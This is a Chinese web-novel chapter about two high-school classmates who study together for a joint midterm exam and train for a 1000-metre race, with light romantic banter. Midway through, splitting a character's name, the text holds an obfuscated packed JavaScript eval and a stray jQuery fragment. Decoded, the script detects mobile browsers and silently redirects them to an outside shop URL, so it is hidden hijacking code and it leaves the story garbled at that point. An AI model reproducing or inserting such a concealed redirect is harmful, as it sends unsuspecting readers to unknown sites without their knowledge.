生日后的事情就告一段落，马上要迎来期中考和运动会。
黑板右上角贴着两张醒目的红纸，一边印着期中考倒计时，另一边写着秋季运动会报名通知，两件大事一前一后压在所有人头顶。
桌角堆满各科练习卷。谢莫年趴在桌上唉声叹气，一手揉着卷子，一手戳戳前排林煜凡的后背。
“完了完了，期中考铁定要翻车。”
苏砛言闻言侧过头，手肘轻轻碰了碰林煜凡的胳膊，眼底带着点散漫笑意：“周末要不要一起去图书馆复习？顺便抽空练练跑步，运动会我报了一千米。”
林煜凡合上手里的数学错题本，轻轻应了声好。
“心真大，二十号都要考试了。”谢莫年提醒。
后排陈亦叹息：“运动会和期中挨得太近，复习计划得拆两半。”
“唉，学校怎么想的。”苏砛言垂头丧气的，“这次期中考听说是和隔壁校联考。”
“好好考就好了。”
谢莫年哀嚎一声，把脸埋进那叠卷子里，声音闷闷地传出来：“煜凡，你都不焦虑的吗？怎么你们一个个的都这么平静！”
林煜凡没回头，只是从笔袋里抽出一支红笔，在错题本上利落地画了个圈：“你再嚎下去，倒计时的天数就要靠你自己往上加了。”
“别刺激他。”苏砛言笑着从桌肚里摸出一包饼干，往后一抛，精准砸中谢莫年的脑袋，“今晚先开个头，把数学公式过一遍。期中考想被锋哥点名上榜啊？”
谢莫年揉着脑袋坐起来，嘴里叼着饼干含糊不清地抗议，但到底还是把那张皱巴巴的数学卷子铺平了。
日子就在粉笔灰和倒计时数字一天天变小中，被硬生生撕成了两半。
一半浸在墨水里。放学后的教室只剩下稀稀拉拉几个人，连最闹腾的班级群都安安静静——据说老班放话了，联考排名不仅关乎个人荣辱，还直接挂钩运动会期间各班的大本营物资配额。
这招“怀柔政策”比请家长还管用，连谢莫年都开始抱着单词本在早读课上念念有词。
另一半却烧在操场的晚风中。
晚自习放学，苏砛言总爱拉着林煜凡去跑道。苏砛言跑，林煜凡就坐在看台最下一级台阶上，膝盖上摊着本英语阅读理解，偶尔抬头看一眼那个在红色跑道上冲过弯道、头发被汗打湿了贴在额前的身影。
“步频慢了。”林煜凡出声提醒。
苏砛言喘着气冲过终点，双手撑着膝盖笑：“你这是监工还是陪练？净给我压力。”
“给你买水算不算？”林煜凡合上书走过去，递给他一瓶拧开盖的矿泉水。
“谢啦！”苏砛言仰头灌下半瓶矿泉水，喉结滚动，水珠顺着下颌线滑进衣领。
林煜凡弯腰收拾起资料书，指尖抚平边角褶皱，淡淡开口：“走吧，太晚了。”
两人并肩往东大门走，橘黄色路灯把两道影子拉长，交叠在铺满枯黄落叶的路面。
“一千米训练别透支体力，回去给你发数学材料。”
苏砛言撇撇嘴，伸手轻轻撞了下他的肩膀：“放心，我有数。实在不行，考前临时抱佛脚。”
苏砛言冲完澡出来，头发还滴着水，手机屏幕就亮了个不停。
是林煜凡发来的几条微信，没有多余的话，全是图片和文件。
第一张图是拍下来的数学卷子，上面用红笔圈出了几个空，旁边打字标注：
【L：这几个基础填空别硬算，代入特殊值，两秒出答案，省下的时间留给大题。】
紧接着是一个PDF文件，命名依旧简洁——《防懵逼题型索引》。
苏砛言擦着头发点开PDF，发现里面根本没有大段的理论，而是林煜凡把常考的题型做成了“题干关键词→对应解法→常见坑点”的三列表格。
比如看到“存在”就选特例，看到“恒成立”就想到最值，甚至还在三角函数那一栏用荧光笔标了一句：“先化简再作图，别凭感觉画正弦。”
苏砛言看着屏幕，手指飞快戳字：
【yan：凡凡，你这是把锋哥的PPT嚼碎了喂我嘴里？太细了。】
上方很快显示“对方正在输入…”，随后蹦出一行：
【L：好好看，不会的再问】
【yan：收到！明天下午图书馆我带吃的补偿你熬夜整理这个。】
消息发出去没半分钟，对方的消息紧跟着弹了出来。
【L：不用，早点吃透题型比什么都强。训练的同时也要复习。】
苏砛言咬着擦头发的毛巾，指尖在屏幕上戳来戳去，忍不住得寸进尺。
【yan：我听你话会不会有奖励】
【L：？行】
苏砛言盯着那个孤零零的“行”字，嘿嘿笑了两声，手指翻飞：
【yan：真的假的？那我要是期中考数学进步了，你到时候可得说话算话】
对面安静了大概两分钟。苏砛言正琢磨着这人是不是被自己气到离线了，手机忽然震了一下。
林煜凡发来一张照片。
是摊在书桌上的错题本，上面用工整的字迹列了好几道班主任列的易错题单，密密麻麻，甚至还贴心地用不同颜色的笔标了星级难度。
消息紧随其后：
【L：明天下午两点，把这些题的思路理顺，我就考虑兑现】
【L：别得寸进尺】
苏砛言一边拿吹风机胡乱吹着脑袋，一边单手打字：
【yan：那说好了宝贝，不许赖账】
发完他才后知后觉自己叫了那个称呼，正想撤回，却发现对方已经回了一个“嗯”。
第二天午后，图书馆靠窗的位置。
阳光透过百叶窗在桌面上切出明暗相间的条纹。苏砛言带了一杯奶茶。
林煜凡准时出现，把书包往桌上一放。
“吃了再学。”苏砛言把奶茶推到林煜凡面前。
林煜凡没看他，而是推开奶茶：“少废话，先讲题目。”
苏砛言清了清嗓子，指着错题本像模像样地开口：
“看到‘存在’，找特例；看到‘恒成立’，求最值……凡凡你看我学得对不对？”
“嗯，继续。”
“我是不是进步超大？”他歪头看林煜凡，“多亏凡凡的材料。”
林煜凡抬眼扫了他一眼，不接他的话，只翻到他标红的压轴错题：“这道，昨晚你拍照问我的，再完整算一遍。”
“嗯！”
苏砛言立刻收了笑脸，拿起笔低头演算。
图书馆安安静静，远处偶尔传来书页翻动的轻响，午后的风透过窗缝溜进来，拂动两人的发梢。
几分钟后，苏砛言停下笔，把本子推到林煜凡面前，底气十足：“搞定，你检查。”
林煜凡俯身细看，指尖轻轻落在其中一步演算上：“这里取值范围没写全，联考阅卷，这种小漏洞直接扣两分。”
他握着红笔，俯身替他轻轻补齐步骤。
距离骤然拉近，温热的呼吸轻轻扫过苏砛言的耳侧，苏砛言心跳猝不及防乱了节拍。
“看题。”林煜凡没抬头，淡淡提醒。
“哦哦哦！”苏砛言猛地回神，慌忙低头假装看错题。
林煜凡改完最后一处漏洞，合上笔盖，抬眼看向他：“基础题型你已经稳了，接下来专攻大题步骤分，联考最吃细节。”
苏砛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809644|210790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
言点点头，视线又落回那杯被推开的奶茶上，不死心的再次推过去：“学累了，休息两分钟嘛。就一口，不耽误刷题。”
林煜凡无奈抬眸，对上苏砛言的眼睛，终究没再拒绝，伸手拿起奶茶。微凉的杯壁贴着指尖，淡淡的乌龙奶盖甜味。
“好喝吧！”
“嗯。”
他把杯子放回苏砛言手边：“好了继续讲题吧！”
苏砛言看着煜凡一本正经的冷脸，忽然觉得这人简直把“口是心非”刻进了DNA里。
“凡凡，我发现你就是嘴硬心软，典型的外冷内热。”
“傻子吧。”
“本来就是啊。”
“话多！刷题堵嘴。”
“堵不住。”苏砛言身子微微倾过去，“凡凡最心软，嘴硬得要死，温柔全藏在背地里。”
图书馆依旧安静，窗外的秋风缓缓吹动窗帘，光影在桌面缓缓流动。
接下来的半个钟头，林煜凡讲得条理清晰，每一道联考高频题型、每一处阅卷扣分细节，都拆解得通透直白。
林煜凡食指曲起来，在苏砛言刚才写满推导步骤的那页纸上轻轻叩了两下：“听懂了不代表会做。把这道题的步骤，合上本子，在草稿纸上给我复述一遍。”
苏砛言一愣，哀嚎还没出口，就对上林煜凡没什么商量余地的眼神。
“行吧，监工。”他认命地合上参考资料，咬着笔杆回忆。
起初还有些磕巴，写到第三行甚至卡壳抬头想偷看，却被林煜凡用一个轻轻敲击桌面的动作制止了。
几分钟后，一张完整的推导过程铺在两人中间。
林煜凡垂眸扫了一遍，没立刻说话。
苏砛言紧张地舔了舔嘴唇：“怎么样？没漏步骤吧？”
“定义域写了，分类讨论的边界也标了。”林煜凡从自己笔袋里抽出那支红笔，在最后一行算式旁打了个小小的对勾，“逻辑闭环，这分跑不掉。”
他破天荒地没指出毛病，而是把那张草稿纸折了两下，夹进了自己随身携带的计划本里。
“你干嘛收我草稿？”
“走吧，挺晚的。”
收东西准备回学校时，苏砛言忽然想起什么，拦住正要起身离开的林煜凡。
“哎，说好的奖励。”他眨眨眼，指了指林煜凡手里的错题本，“我现在算不算‘吃透’了点？你可不能赖。”
林煜凡背起书包，把那本错题本抽回来，顺手在他脑袋上轻轻敲了一下。
“期中考完再说。”他顿了顿，走到图书馆的玻璃门前，回头看向还坐在位置上的苏砛言，逆光的轮廓被镀上一层毛茸茸的金边。
“到时候你要是没退步……”他声音混在推门的风里，听不太真切，却足够清晰，“想干嘛随便你。”
苏砛言愣了一秒，随即抓起桌上的书和奶茶，三步并作两步追上去，和他并肩走进黄昏的街道。
“那说定了啊，你到时候可别拒绝我。”苏砛言咬着吸管，笑得眼睛弯成月牙，“我可是很记仇的，你答应了的！”
“知道，不会…”
“拉个勾！”苏砛言伸出小拇指。
林煜凡用看智障的眼神看了他半秒，终究还是抬起手，伸出干净修长的小指，轻轻勾住了苏砛言的。
“拉勾，上吊，一百年不许变，谁变谁是小狗！”
林煜凡笑了笑：“幼稚！”
指尖相触的瞬间，苏砛言故意用力勾了一下，还顺势用自己的大拇指在林煜凡的指节上蹭了蹭，像盖章一样按了个“契约确认”。
“幼稚也生效，拉了勾就是约定，赖不掉的。”
“有病去治吧，我亲爱的同桌！”